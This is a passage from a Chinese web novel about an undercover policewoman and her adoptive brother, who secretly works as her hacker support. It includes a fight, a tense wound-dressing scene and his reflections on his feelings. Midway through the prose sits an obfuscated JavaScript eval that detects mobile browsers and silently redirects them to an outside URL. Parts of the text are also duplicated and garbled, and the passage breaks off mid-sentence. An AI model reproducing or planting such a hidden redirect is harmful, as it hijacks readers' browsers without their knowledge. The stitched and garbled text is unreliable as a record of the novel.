第一个人没来得及反应,阮云琛的肘击已经狠狠落在他的肋骨上,接着是一个干脆利落的膝撞,直接将他压倒在地。第二个人扑过来的时候,她低身避过攻击,手肘撞上了对方的下巴,紧接着一记扫腿将他踢翻。 阿七站在原地,手里的枪晃了一下。他目睹了刚才的一切,眼中的狂躁变成了难以置信的恐惧。 “她吗的,怎么可能——” 话还没说完,阮云琛已经向他逼近。 几秒后,阿七的枪被踢飞出去,撞在墙上发出一声闷响。他的背被狠狠抵在墙上,阮云琛的手臂卡在他的喉咙处,强硬得让他发不出任何声音。 就在这时,耳机里传来那人低沉而清晰的声音:“楼层疏散完毕,没有异常。五楼已锁。” 她没有回应,只是松开了手,阿七像一堆烂泥一样滑倒在地。 回到房间门口时,那人已经在那里等着了。 光线恢复的瞬间,他放下手中的平板,抬起头看向她,声音低而冷静:“姐。” 阮云琛愣了一下,眼底的情绪变幻难测。片刻后,她轻轻点了点头,声音平静:“走吧,警察快到了。” 106. 伤口 徐七被捕的消息,没有在宋祈的圈子里泛起任何涟漪。 警方的行动极为隐秘。 抓捕是在凌晨进行的,整个过程不到十分钟。没有枪声,没有惊动邻里,只有几辆没挂牌的车悄无声息地将人带走。所有痕迹都被小心翼翼地抹去,甚至连邻近的监控视频都在当晚被覆盖了一层无害的假影像。 警方接管了两个女大学生,安置在一个偏僻的乡镇,所有与她们有关的记录都被抹去。她们的手机、身份证件以及其他可能暴露身份的物品全数销毁,甚至连社交平台的账号都被清空。 阮云琛的那份“伪装报告”起了关键作用。 阮云琛将一份伪造的证据递交给宋祈——一张徐七“带着裸照潜逃”的监控截图。照片模糊,却足以令人信服。 除此之外,还有一张徐七“潜逃”的伪造行程单和几段不太清晰的监控录像,完美地构建了一个徐七带人私吞赃款后仓皇出逃的假象。 在警方的掩护下,这些“证据”被巧妙地流传到宋祈的手下。 宋祈的团队接收到消息时,已经是两天后。 有人提到港口的船票交易记录;有人提到徐七曾在港口附近出现过;还有人补充说,徐七的电话从抓捕当晚起便再也无法接通——所有的一切都指向一个结论:徐七背叛了宋祈。 宋祈暴怒,却没有太多时间深究。 他的人手已经捉襟见肘,再加上最近几笔关键交易临近,稍有闪失便会让他所有的努力化为乌有。一个不够忠心的手下,对他来说不过是可有可无的存在。 “他不想活了,就随他去吧。”这是他最终的答复,语气冷淡,带着几分掩饰不住的不屑。 在阮云琛的耳机里,廖致远的声音平静得近乎冷酷:“这个骗局,最多能拖三个月。” 三个月的时间,对阮云琛来说,足够了。 那天回去的时候,两个人一路都只有沉默。 阮云琛走在前头,脚步轻得几乎没有声息。阮秋跟在她身后,手里捏着平板,步伐比她稍慢半步,却没有发出一点多余的声音。 街道上的灯光映在地面上,拖出两道交叠的影子。 阮云琛的肩膀微微向前倾了一点,像是无意识地戒备着什么。而身后的阮秋则始终保持着那个安全距离,不远不近,像是某种看不见的默契。 夜风卷过,带来一丝凉意,还有一缕微不可察的血腥味。阮云琛的眉头轻轻动了一下,后背的伤口隐隐作痛,黏腻的血液顺着衣衫渗出,贴在皮肤上,带来刺骨的寒意。 街边的塑料袋被风扬起,发出一阵窸窣的响动。 阮云琛没有回头,阮秋也没有开口。沉默像是某种无形的线,将两人牢牢地绑在一起,却没有任何一方试图挣脱。 阮云琛的步子稍稍快了些,像是要甩开那阵不适。可身后的影子始终如影随形,不远不近,默默地跟着她。 他们的影子穿过一条又一条幽暗的小巷,像两条平行线,彼此靠近,却始终没有交汇。 到了楼下,程一冉正好从上面下来。 她肩上挎着一个包,手里拿着手机,目光平静地扫过两人,没有丝毫诧异。她点了点头,算是打了招呼,就擦肩而过。 阮云琛站在原地,看着她的背影,直到她走出巷子,才抬脚继续往前。 阮秋站在门口,似乎有些不知所措。片刻后,他低下头,走到沙发旁,轻轻坐下,双手交叠在膝盖上,像是做错事的学生。 阮云琛没看他,径直走向厨房,从橱柜里取了一个杯子,接了半杯水。水龙头关上的声音在安静的空间里显得格外清晰。 她回到客厅,将杯子放在茶几上,却没有坐下,只是站在那里,低头看了一眼被血渍浸透的衣角。 房间里静得能听见彼此的呼吸声。 老旧的电灯在头顶发出细微的噼啪声,像是忍不住要打破这片压抑的安静。窗帘被风轻轻掀起一角,露出外面模糊的街灯光影,又很快垂落下来。 阮云琛站在那里,手指搭在茶几边缘,似乎是无意识地轻敲了一下。水杯里的水波纹漾开又散去,像一圈圈荡漾的沉默。 阮秋的视线始终低垂着,直到几秒钟后,他终于抬起头,目光落在她的背影上,像是要说些什么。 可在他终于鼓足勇气之前,阮云琛打破了这片静谧。 “是不是只有我不知道?” 她的声音不高,却带着一种钝钝的压迫感,像一把迟钝的刀,缓慢地剖开了房间里的空气。 房间里又陷入了一片安静。 那就像是空气被抽空了一样,连风吹过窗户的声音都显得格外清晰。 阮秋站在那里,愣了一瞬,喉结微微动了一下,却没有立刻回答。他的手垂在身侧,指尖无意识地捏了捏衣角。 灯光打在他身上,影子被拉得长长的,显得有些局促。 阮云琛没有再说话,手指摩挲着杯沿,像是在等他开口,又像是在给他留出空间。茶几上的钟摆滴答作响,拖慢了几秒钟的时间。 终于,挼你去低下了头,肩膀微微垮了些许,像是一个犯了错却找不到解释的孩子。 “姐,”他的声音低而缓,带着一点小心翼翼的诚恳,“是我不想让你知道。” 阮云琛安静地看着他,茶杯里的水早已凉透,指尖的触感冰冷得几乎让她觉得刺骨。 他的声音还在耳边回荡,低而缓,像是一种试探,又像是一种坦白。她没有再追问,反而觉得此刻的沉默比什么都更合适。 良久,阮云琛叹了口气,声音轻得像是风穿过旧窗缝的低吟。 那不是一种责备,也不是一种释然——那更像是一种无奈,夹杂着疲惫和复杂的情绪。 卸下一切的时候,阮云琛突然意识到,她其实已经不想追究了。 事情已经发生,解释也已经摆在面前,而他站在那里,局促得像是害怕让她失望。 她没办法对他真的生气,也没办法对他完全释怀。 那一声叹息里,有些许的疲倦,也有些许的妥协。 阮云琛把茶杯放了下,站起身的时候,伤口隐隐作痛。却比不上心底那种疲惫感来得更重。 她不知道自己在累什么。 是任务的紧迫?是谎言的揭开?还是他小心翼翼的试探? 阮云琛想不清楚。 她其实并没有不认可A的能力,甚至可以说,在无数次任务的协作里,她已经对A形成了一种本能的信任。只要A在,她就知道自己的背后有一道屏障,不会轻易失守。 而如今,当这份能力和信任被赋予了一个熟悉的身份——是阮秋,她却不知该如何面对。 ——弟弟。 这个标签如同一张无形的网,紧紧地将她捆住,让她无法轻易割舍。是她亲手捡回来的孩子,是她倾尽所有想要保护的人。 但现在,当她真正抛开这个身份去看,才发现,那个她以为需要保护的弟弟,早已能够和她站在同一条战线上。 这种认知让她感到陌生,却......又不完全排斥。 甚至在某种微妙的情绪里,她察觉到了一点……松动。 阮云琛抿了抿唇,没有再去深究。 她想不清楚,也没打算去想。 “我去处理一下伤口。”阮云琛随口说了一句,脚步不停,朝卧室走去。 身后传来一阵轻微的脚步声,伴随着木地板的轻微咯吱声。她停下脚步,回头看了一眼,正对上阮秋的目光。 他站在几步之外,眼神沉静,神色里却带着一种无法忽视的坚持。 “我帮你。”他说。 “不用。” 阮云琛微微皱起了眉,继续转身往前走去,脚步却比刚才稍稍快了些。可她刚走到卧室门口,便感觉到身后那道沉稳的目光还在追随。 肩胛骨处的伤口隐隐作痛,她停下脚步,深吸一口气,却依旧没有回头。 阮秋站在那里,什么都没说,只是静静地看着她。空气中弥漫着无声的拉扯,像一根被拽得紧绷的绳子,谁也没有率先松手。 阮云琛抬手按了按额角,语气不见起伏:“不用你管。” 阮秋还是没有开口,脚步却缓缓靠近了一些。他身上带着淡淡的夜风的凉意,站定后只是垂下眼睛,轻轻拽过了一张椅子,把它推到她身边。 “你那个位置,自己够得到吗?”阮秋的声音却平静得让人无法反驳。 阮云琛顿住了。 肩胛骨后面,确实是一个她反手也够不着的地方。可这个位置又……阮云琛没有继续想下去,转身看着阮秋,目光里带着一丝警惕。 “坐下。”阮秋没有给她继续拒绝的机会,直接将她按到了椅子上。 “阮秋——”阮云琛的声音里带着一丝恼怒。 “别动。”阮秋轻车熟路地从她的衣柜里拿出了药箱,低头翻出了碘伏和纱布,快速瞥了她一眼,语气认真得像在训话,“不管你在想什么,你得先处理伤口。不然感染了、化脓了,后果比你能想象的更麻烦。” 阮云琛噎住了。 想什么......还能想什么。 想他为什么别告诉她他就是A,想他为什么非得披着A的皮来,想他到底什么时候变得能用这种口吻和她讲话。她还想了一点更实际的——想他要怎么处理这伤口。 那可是......那可是在后脊那边。 难不成,是要掀开衣服? 就在这个念头冒出来的同时,阮秋叹了口气,语气有些无奈:“姐,你不把上衣脱了,我怎么给你处理伤口?” 阮云琛脑子瞬间一空。 “阮秋——”她扭头看向他,眼神里带着一点恼怒和警惕。 阮秋却一点没被她的目光吓住,手里已经开始利索地拆纱布包,表情认真得像是在准备一场小型手术。 他没抬头,语气平静得像是他们在讨论天气:“不脱的话我没办法处理伤口。” 阮云琛咬了咬牙,犹豫了一秒,手指却已经伸向了衣服下摆。 她试着伸手去够自己的衣服下摆,却被拉扯的疼痛硬生生地逼停了动作。肩膀和后背像是被细密的针刺一样,每一寸牵动都能放大伤口的刺痛。 阮云琛忍不住低声骂了一句,手停在半空中,怎么也动弹不得。 背脊的伤最是要命。 以前也不是没受过这样的伤。小时候不懂事,拿瓶酒精往伤口上一灌,绷带胡乱缠上去,能遮住血就算完事。那时候连痛都顾不上喊,毕竟日子比伤口更疼。 后来,她学会了怎么保护自己,警校的时候有校医,任务中有医院,一切按规矩来,反倒省事。 可现在不一样。 医院是绝对不能去的,连校医的便利也不能想。 她用的身份是一份小公司文员,钱紧到只能住在旧公寓里。宋祈的人随时盯着,稍有异常就可能惹出麻烦。 她能做的,就是继续维持这个身份,继续假装自己活得和那些年一样狼狈。 阮秋抬起头,目光从药箱上移到她身上。眉头皱了一下,声音低而缓:“别用力。” 阮云琛还没反应过来,就听见他补了一句,平静得有些刺耳:“我帮你。” “阮秋!”她的声音里带着恼意,却被疼痛压得虚了一半。 阮秋却好像没听见似的,站起身走到她身后,手伸向她的肩膀,动作小心得让人几乎听不到布料摩擦的声音。 “忍着点。”他说得很认真,像是在对待什么重要的事情。 他的指尖先是碰到她的肩膀,然后顺着衣领往下,游到腰间,而后到了衣摆,轻轻扯了一下布料。 阮云琛的后背微微一僵,肩膀几乎要缩起来,可伤口的刺痛让她只能坐在椅子上不敢动。她低头盯着自己的手,看着掌心逐渐用力到发白,却什么都没说。 衣服的布料被慢慢掀起,带着伤口结痂处的微妙刺痛,阮秋的动作极轻,轻到像风拂过皮肤,带着一丝轻微的瘙.痒。 “疼了就说。”阮秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284061|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她身后开口,声音很近,却也压得很低,像是怕打破这过于静谧的气氛。 阮云琛紧闭着嘴,努力让自己的身体不去注意那逐渐暴露在空气中的触感。她的后背在夜色下泛着苍白,而伤口的位置因为血迹而染得深色的痕迹。 阮秋的手指碰到那伤口周围的皮肤时,阮云琛猛地吸了口气,肩膀不由自主地一抖。 “别动。”他的声音更加低沉了一些,却带着一股让人无法抗拒的安抚。 阮云琛得背后的空气像是凝固了一般,温度一点点贴近,直到耳边传来布料被轻轻放下的声音。 “阮秋。”她终于开口,声音有些低,却带着压抑的情绪。 “嗯?”他依旧在忙着翻找药箱里的东西,头也没抬。 “你现在胆子挺大的。”她声音里带着点凉意,却更多是某种难以掩饰的无措。 阮秋抬头看了她一眼,嘴角勾起一个淡淡的弧度:“姐,我一直胆子都很大。” 阮云琛怔了一下,却没再说什么。 她坐在那里,背对着阮秋,微微低着头,背上的皮肤因为紧张而略显僵硬。上衣已经脱下,只剩下一件单薄的胸衣,肩带紧贴着锁骨,随着呼吸微微起伏。 阮秋没有说话,目光安静地落在她背上的伤口。动作轻而缓,他用棉签蘸了蘸酒精,靠近了些。 “凉。”他说了一句,像是在提醒,也像是在安抚。 酒精触碰到伤口的一瞬间,阮云琛皱了一下眉,身体微不可察地一颤。疼痛像是从背脊直穿进了骨头,却没有发出一点声音。 “疼就说。”阮秋的声音低下来,带着一股不容置疑的认真。 “你是医生吗?”她语气平静,甚至带着点嘲讽,但手指却因为疼痛而紧紧抓住了椅子的边缘。 “不是医生。”阮秋的手稳得像一台机器,继续小心翼翼地清理伤口,“但我在国外学过应急护理。” “学过几节课就敢碰伤口?”阮云琛转过头,目光带着一丝讽刺,却在与他对视的一瞬间没了声音。 阮秋没接她的嘲讽,只是专注地处理伤口。指尖偶尔碰到她的皮肤,凉凉的触感让阮云琛有些不自在,却又无从闪避。 空气安静下来,只能听见棉签擦过皮肤的声音。 灯光打在两人身上,映出背上那道狰狞的血痕,也映出了他垂下的眉眼。那是一种无声的专注,安静,却带着某种无法忽视的力量。 “还不完?”阮云琛终于忍不住开口,声音低低的,有些勉强。 “别急。”阮秋的声音很轻,但语气却让人无法反驳,“要是处理不好,感染了怎么办?” “你还会担心这个?”阮云琛哼了一声,却没再说话,甚至连动作都没再挣扎,只是微微偏开了头,像是试图掩饰自己的不自在。 阮秋的手指在她的背上游走,蘸了碘伏的棉签轻轻地落在皮肤上。伤口靠近脊骨的位置,他的动作比刚才更加小心,仿佛多用了一分力就会伤到她。 空气安静得几乎可以听见彼此的呼吸声。昏黄的灯光洒在两人身上,随着他的动作一明一暗。阮云琛的身体微微紧绷,背脊的肌肉随着触碰而僵硬,却没有发出任何声音。 棉签的触感凉凉的,擦过伤口边缘时带来细微的刺痛。阮云琛的手指扣住了椅子的边缘,骨节泛白,却始终没有看他一眼。 “别动。”阮秋忽然低声说了一句,像是察觉到她的些许抗拒。 阮云琛没说话,微微垂下了眼,像是在试图掩饰自己的不自在。 阮秋的手指滑过了肩胛,稍稍压住了一处细微的裂口,力度不重,却稳得像是在给她传递某种讯号——冷静。 “疼吗?”他问。 阮云琛咬了咬牙,憋出了两个字:“还行。” 棉签的触感逐渐消失,取而代之的是纱布覆盖在皮肤上的柔软。阮秋的指尖不经意地碰到了她的肩膀,那一瞬间,她的呼吸不自觉地顿了一下。 “快好了。”他说,声音比刚才低了一些。 阮云琛终于抬起了头,看着前方没有焦点的墙壁,似乎想从那片纹理中找到一点分散注意力的东西。然而,背后的每一次触碰都精准得让她无法忽略。 他换了一块新的纱布,手指绕过肩带的边缘,动作仍旧克制,但却因为靠得太近而带上了一种无形的压迫感。 阮云琛甚至能感觉到他的呼吸擦过她的耳侧,微热,却没有多余的情绪。 “弄完了?”她终于开口,声音低低的,像是压抑了很久。 阮秋停下了手,动作却没有立刻离开。 他的指尖还停在她的肩膀上,似乎在确认纱布是否贴合得足够紧。片刻后,他直起身,声音带着一丝笑意:“你还想让我弄什么?” 阮云琛怔住了,嘴角微微抽了一下,最终没有回应,只是瞪了他一眼。 房间里恢复了安静。 阮云琛伸手摸到了床铺上之前扒出来但没有收的衬衫,却在伸到一半时停住了。她的动作不由自主地顿了一下,忽地意识到了什么,转头瞥向还在整理药箱的阮秋。 “还不出去?”她的声音带着些不耐,却没有回头。 阮秋直起身,转过头来看了她一眼,嘴角还挂着那种若有若无的笑意。 “姐,”他的语气不急不缓,像是带着某种恶意的漫不经心,“你要是再这么紧张,我还以为自己做了什么不该做的事。” 阮云琛僵了一下,抬手用力将衬衫披上,语气冷得像是冻住了屋子里的空气:“滚出去。” 阮秋轻笑了一声,抬手虚虚地投降:“行,我滚。” 他转身离开,门在他身后轻轻关上。 阮云琛愣了一秒,抬手按住了自己的眉心。衣料摩擦着后背的纱布,带来轻微的刺痛,却无法压下她心底那种无法言说的异样。 她抬起头看了一眼紧闭的房门,低声骂了一句:“吗的。” 门外,阮秋靠在墙边,听着门内那一声模糊的骂语,嘴角的笑意更深了些。 107. 忍一忍 天知道阮秋刚才是怎么忍住的。 当阮云琛抬手抓住衣摆时,他就感觉到自己身体的每一根神经都被绷紧了。不是因为紧张,而是那种无处安放的专注。 她的动作不算快,甚至可以说是迟疑的。衣料缓缓从她的腰间褪下,露出一段纤瘦的背脊。肩胛骨下的那道伤口还在渗血,血迹沿着脊椎线缓慢地晕开,像是一场无法掩盖的痛楚。 他尽力让自己的目光只停留在伤口上——只是伤口。可那并不容易。 她的肩膀很窄,骨架却利落,带着一种属于成年女性的强韧。微弱的光线打在她的后背上,映出每一寸起伏的曲线。他的目光追随着那些线条,却在意识到自己的失控时,猛地移开视线。 他的手落在她的肩膀上时,能感觉到她微不可察地颤了一下。那不是因为疼痛,而是某种本能的反应。他的手指不敢多留,轻轻地抬起,又轻轻地放下。 “消毒。”他说得很快,像是在提醒自己。 棉签擦过伤口的瞬间,她的背部绷紧了,那一刻,他几乎能感受到她肌肉的每一次微弱颤动。 空气变得安静到只能听见彼此的呼吸声,细微的,却让人更加无所适从。 阮秋的动作很慢,不是因为他不熟练,而是因为他不想让自己看上去显得急切。 他知道自己的身份,也知道她的防备。他不能让她察觉到任何异样。 可他的眼睛却无法完全听话。她的背脊是这样的近,近到他稍稍低头,就能嗅到她身上那淡淡的清香——不是香水,也不是沐浴露,而是她独有的气息。 他呼吸深了一些,指尖缓缓地贴近那道伤口,动作依旧克制。可心底的那股燥热却像是被火星点燃的干柴,迅速地烧了起来。 “别乱动。”他说,声音低得几乎带着一点沙哑。他告诉自己那是为了她的伤口,却无法否认每一个字都像是从喉咙里挤出来的一样。 阮秋闭了闭眼,再次提醒自己:这只是伤口,只是伤口。 可他知道,有些东西一旦破了口,就再也无法装回去。 三年的时间—— 三年的时间。 三年,足够他消化一切不该有的念想。 也足够他重新定义那些念想的意义。 阮秋低头收拾药箱,动作细致而缓慢,像是在刻意拖延什么,又像是在整理那些自己都不愿细想的情绪。 刚开始的时候,那种情绪是灼热的,毫不掩饰地侵占了他的思绪。 他想得到她。 那是少年人的冲动,混杂着不甘、执拗,还有一种难以言说的倔强。 他曾经以为,拼尽全力就能让她转身看向自己,哪怕一瞬,哪怕一个微笑,都足够让他觉得自己站在了世界的顶端。 但那些情绪太过炽烈,最终连他自己都被灼伤。 尽管被阮云琛猛地推向了远方,阮秋没有像普通的少年那样去责怪或者赌气。他只是沉默下来,把那些不合时宜的情感埋进了时间的泥土里。 三年里,他学会了不去奢望——可那并不代表放下。 他曾无数次问自己,喜欢一个人到底意味着什么。 是一定要得到? 还是,能站在她的身旁、帮她分担一分负重就足够? 答案随着时间的推移一点点清晰。 喜欢她,或许从来不该是占有,而是陪伴。 是她在满目风霜时,回头还能看到有人站在那里,无条件支持她;是她孤军奋战时,知道有人无论如何都会挺身而出。 那就......够了。 那就够了。 甚至,可能比站在她身边以“爱人”的身份更重要。 ——三年。 三年的时间,让他从少年人的莽撞成长为一个懂得克制的男人。 三年的时间,让他学会了如何隐藏自己所有多余的情绪,将它们藏在目光最深处,带着笑意的壳儿里。 ——他早就知道,这辈子他注定会喜欢她。 也早就知道,这种喜欢,可能永远都无法得到回应。 可又如何? 能站在阮云琛的身旁,就已经是他想要的全部。 这么些年来,足够他消化所有不该有的念想,也足够他明白,有些事情,想要是一回事,得到是另一回事。 阮秋一直都知道,阮云琛不是一个可以被“拥有”的人。 她站在他面前,像山巅的风,捉不住,也握不住。他曾经试过靠近她,可越靠近,越清楚地感受到一种隐形的壁垒。那是一种由她亲手铸造的壳,密不透风,包裹着她的人,也包裹着她的心。 可是,这些年,他的念头慢慢变了。 从想要抓住她,到想要和她并肩。再到现在,只要她愿意回头看他一眼,他甚至可以站在她背后,无声无息地撑着。 所以他成为了“A”。 ——“A”,Autumn,秋天。 第一次听到这个代号,是在一次通话中。 “你想不想帮她?” 廖致远的声音平静,却带着一种他无法拒绝的力量。 他沉默了几秒,握着手机的手指微微发紧:“怎么帮?” 他知道廖致远不会随便找上他。 出国留学的这三年,他的生活简单而高效:白天是顶着奖学金压力的计算机系学生,夜晚则是出没在网络论坛和比赛里的“影子”。 黑客攻击、漏洞修复、跨系统渗透……他参加过的项目一次比一次复杂,也一次比一次重要。 ——这不是兴趣,这是准备。 每一行代码,每一次突破,都是为了让自己成为那个可以保护她的存在。 廖致远没有告诉他所有的细节,只提到阮云琛的任务和警方的需求。 他说扫黑的工作隐蔽性极高,警局内部的人手不足,更何况这种任务对技术能力的要求极为苛刻,必须找到一位真正顶尖的网络专家。警方在搜索外部人员名单时,偶然发现了一个熟悉的名字——阮秋。 他的论文刚刚获得英国某顶级网络安全会议的大奖,名字被列入了奖项公布名单,甚至还有照片作为佐证。那张脸,廖致远一眼就认了出来。 “你可以成为她的屏障。” 阮秋答应得很快。 随后的一切像是顺理成章。 阮秋的身份被秘密调取,他的背景审查和技术能力评估都通过了严格的程序——中途,他还短暂地回国了一趟,为了完成必要的考核。 他回国的那天,天灰蒙蒙的,下着小雨。 他没有直接冲去阮云琛面前,也没有联系廖致远,而是站在当年的那座桥下,那个隐蔽到没有任何人能看得到的位置,透过朦胧的雨幕看着阮云琛从巷子深处走出来。 ——她住回了原来的公寓。 她穿着一件背心,肩带微微湿透,贴在皮肤上,勾勒出背部线条。胳膊和肩膀上不经意显露的肌肉轮廓,在雨水的掩映下,像是一层隐约的光。 陈旧的伤痕隐隐露出衣服遮盖的地方,那些痕迹蜿蜒着,像是一张画在皮肤上的地图。 伤口会愈合,却无法被完全抹去。阮云琛的脊背被雨水濡湿,反射着巷子口微弱的灯光,雨幕将一切柔化,模糊了清晰的界限。 那一刻,阮秋心里像被攥紧了一样。 她看上去和从前没有什么不同。 可阮秋知道,她身上背负的东西,比他曾经见到的更多、更沉重。 他站在那里,像被钉住了一样,直到她消失在楼道里,直到雨水沿着屋檐滴落,打湿了他的鞋尖。 “你知道你要面对什么吗?”廖致远问他,声音低沉。 阮秋沉默了几秒,回答得简单:“知道。” 这句话像是一把钥匙,打开了他的另一扇门。 从那之后,他的白天变成了无数个长夜。程序、数据库、入侵、防御,那些代码和线路像迷宫一样环绕着他,他却一点一点地突破。廖致远偶尔会打电话来询问进度,每一次的语气都比上一次更放心。 那天夜里,他梦见了很多事情。 梦见她站在黑暗里,低头不语。 梦见自己站在她身后,拼命地伸出手,却连她的影子都触碰不到。 梦见她对自己说:“我也是......我也想你。” 醒来的时候,天快亮了。 阮秋洗掉了床单和睡衣,揉了揉发烫的眼睛,重新打开电脑,手指在键盘上飞快地敲打起来,发出了一条消息。 “你好,我是‘A’,今后由我支援你的任务。” 一切都在他自己的掌控之中。 从“A”的每一条指令到她身边的每一场风暴,他在黑暗里织网,在屏幕后守候。他不需要她知道,只要她安全,只要她偶尔还能像以前一样喊他一声“阮秋”。 这些,就足够了。 阮云琛是趴着睡的。 背后的伤疼得厉害,家里又不可能备麻醉,只能是每隔四小时吃一片止疼药。 可吃完药后的那点缓解,简直微乎其微。她怀疑自己的身体是不是对布洛芬已经产生了抗药性,疼得像是每一根神经都在反复被碾压。 她抓了件衬衫披在肩膀上,可没几分钟就受不了了——布料贴着纱布,纱布压着伤口,每一分每一秒都是折磨。 确认了阮秋回了自己房间后,她一把将那件衬衫扯了下来,甩到了一边。 夜风透过窗户的缝隙钻进来,凉飕飕地吹在背上,阮云琛止不住哼哼了一声。 她有点烦躁,翻了个身,结果牵扯到伤口,痛得直吸气。 阮秋一直没有再进来。 阮云琛一边咬牙,一边暗自琢磨:他不进来就对了。 ——她在受伤,又不是在生什么大病,更没必要有人伺候着。 阮云琛在心里暗骂了自己一声,却是不知道什么时候,昏昏沉沉地睡着了。 醒来的时候,天已经大亮。 阮云琛皱了皱眉,扭头发现身上的被子被仔细地盖好,甚至边角都掖得规规整整。 空气中漂浮着一股淡淡的香味,像是炒蛋的味道,伴着一丝轻微的油烟气息,从门缝里钻了进来。 客厅没有一点声响,只有窗外的风声和楼下隐隐传来的汽车喇叭声。阮云琛愣了几秒,努力回想昨晚迷迷糊糊睡着前的事情,最终还是慢吞吞地爬了起来。 她推开房门,客厅一片整洁,茶几上的杂物也被清理得干干净净。厨房的灶台上还留着一口锅,锅沿儿微微发亮,像是刚洗过不久。 阮云琛站在门口,眯了眯眼,抬手把桌上的盘子盖揭开,果然是一份刚煎好的鸡蛋,还冒着点热气。 炒蛋的碟子旁边放着一张被压在杯底的纸条,她随手抽了出来,上面写了几行潦草的字迹:姐,我去胖子那儿看一眼,饭在桌上,吃完记得吃药。牛奶别凉了。 她的目光在“胖子”这个名字上顿了一下。 阮云琛已经很久没有去过胖子那里了。 不是不想,而是她必须避嫌——宋祈的眼线一直在暗中跟着她,而胖子那边,又因为李成庆的事,多了不少巡警。这两头都不能碰,她不能让自己惹上更多麻烦,更不能让胖子那儿卷入风险。 反复拜访,只会把问题引过去。 那纸条字迹随意,却带着一股许久未见的熟悉感。 阮云琛皱了皱眉,将纸条折了一下,随手扔回了桌上。 “故弄玄虚。”她低声骂了一句,却还是坐了下来,拿起筷子夹了一块蛋送进口中。 ——热的。 味道很熟悉,蛋黄的边缘煎得微焦,蛋白滑嫩,盐放得不多不少,带着一股刚刚好的火候。 她咽下第一口,舌尖一瞬间仿佛尝到了什么被遗忘的滋味。 不是味觉的记忆,而是更深一层的东西。 那些年,她早起的每一天,都能看见厨房里忙碌的人影,听见锅铲碰撞的声音。阮秋总是起得早,煮粥、煎蛋,热牛奶。他站在灶台前,动作笨拙却执着,仿佛生怕错过什么要紧的事情。 再后来,厨房空了。 阮秋走了。 ——她亲手送走的。 她一度连家里灶台的火都没开过几次,日子就这么凑合着过了。 最开始她自己随便对付,煮碗泡面,或在冰箱里翻出剩菜;再后来是警校的食堂饭,时间久了也没什么滋味。真正忙起来的时候,就连外卖都成了奢侈——大多是从派出所附近的小摊上抓一份硬邦邦的馒头或者冷掉的盒饭,硬生生塞进肚子。 潜伏任务开始之后,她更没什么选择可言。 凉馒头、油腻的盒饭、过期的速食品……一天到晚吃得肚子里翻江倒海。她早就习惯了,但习惯不代表适应。 阮云琛咽下最后一口蛋,手慢慢伸向牛奶杯。她垂下眼盯着白色的液体发了一会儿呆,抿了一口,温热的液体顺着喉咙滑下,暖意落进胃里。 她忽地意识到,自己究竟有多久没有吃过这样一顿热乎的饭菜了。 这种味道,是记忆里独有的东西。阮秋的厨艺不算多好,但总是投其所好,仿佛只要他在,日子就有了烟火气。有些东西,是她早就依赖却不愿承认的。 阮云琛盯着杯沿看了一会儿,眉心微微拧起,隔了许久,她才将杯子放回桌上,起身走向厨房,把空盘和杯子一块放进水池。 徐七被捕的消息,没有在宋祈的圈子里泛起任何涟漪。 警方的行动极为隐秘。 抓捕是在凌晨进行的,整个过程不到十分钟。没有枪声,没有惊动邻里,只有几辆没挂牌的车悄无声息地将人带走。所有痕迹都被小心翼翼地抹去,甚至连邻近的监控视频都在当晚被覆盖了一层无害的假影像。 警方接管了两个女大学生,安置在一个偏僻的乡镇,所有与她们有关的记录都被抹去。她们的手机、身份证件以及其他可能暴露身份的物品全数销毁,甚至连社交平台的账号都被清空。 阮云琛的那份“伪装报告”起了关键作用。 阮云琛将一份伪造的证据递交给宋祈——一张徐七“带着裸照潜逃”的监控截图。照片模糊,却足以令人信服。 除此之外,还有一张徐七“潜逃”的伪造行程单和几段不太清晰的监控录像,完美地构建了一个徐七带人私吞赃款后仓皇出逃的假象。 在警方的掩护下,这些“证据”被巧妙地流传到宋祈的手下。 宋祈的团队接收到消息时,已经是两天后。 有人提到港口的船票交易记录;有人提到徐七曾在港口附近出现过;还有人补充说,徐七的电话从抓捕当晚起便再也无法接通——所有的一切都指向一个结论:徐七背叛了宋祈。 宋祈暴怒 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徐七“逃跑”的那天,任务看似出了纰漏,可阮云琛知道,宋祈会从任务结果、过程安排和人员选择中,一点一点地找到线索。 她甚至能猜到他试探的方式:从最外围的人开始盘问,从看似不重要的环节里抓蛛丝马迹,直到一层层剥开壳,把目光落到她身上。 宋祈从来不会直接发难。 他更喜欢让人觉得一切都还在掌控中,然后在对方最放松的时候,递上致命一击。 但这次,他没有那么多时间了。 徐七不是第一个,也不会是最后一个。 他的消失不过是推倒了第一块骨牌,接下来每一块都会倒下,速度比阮云琛想象得更快。 宋祈的怀疑已经在酝酿,或许已经接近明朗。阮云琛知道,这不仅仅是针对她,更是针对所有人的一次排查。 而“阮云琛”这个名字,迟早会出现在那张名单的最上方。 夜晚的巷子安静得只剩下偶尔飘过的风声。楼下的路灯昏黄,光线勉强覆盖着一个男人的身影。 他站在巷子口,旁边摆着一碗刚炒好的面,袅袅升起的热气在冷风中显得有些诡异。 阮云琛回家的时候看到了他。 那是宋祈,手里夹着一根烟,脚下有四五个烟头,像是等了她很久。 阮云琛没有犹豫,提着袋子的手稍稍紧了紧,脚步却依然稳当。 宋祈这种人,没有人比她更了解。他的出现本身就是一种宣告,一种比直接开口更具威胁的存在感。 他们在巷子口“交谈”了一会儿。 宋祈提起了淼淼和阮秋。 他说,他知道她的弟弟似乎从英国回来了,似乎还在本地活动过一阵子。 “听说经常去城北的网吧嘛。”宋祈说。 语气是平常的,甚至还带着几分漫不经心的笑意,但字里行间却像是在提醒她,她的家人从未真正离开过他的视线。 阮云琛“嗯”了声,声音平淡无波:“家里没有电脑。” 阮秋去胖子的网吧,没有任何掩饰——因为他根本不需要掩饰。 宋祈这样的性格,越是遮掩,越会让他起疑。 而阮秋的“暴露”,正是对宋祈怀疑的一种反向利用。一个刚回国的普通年轻人去网吧消磨时间,怎么看都没问题——真正有问题的人,是不会这么做的。 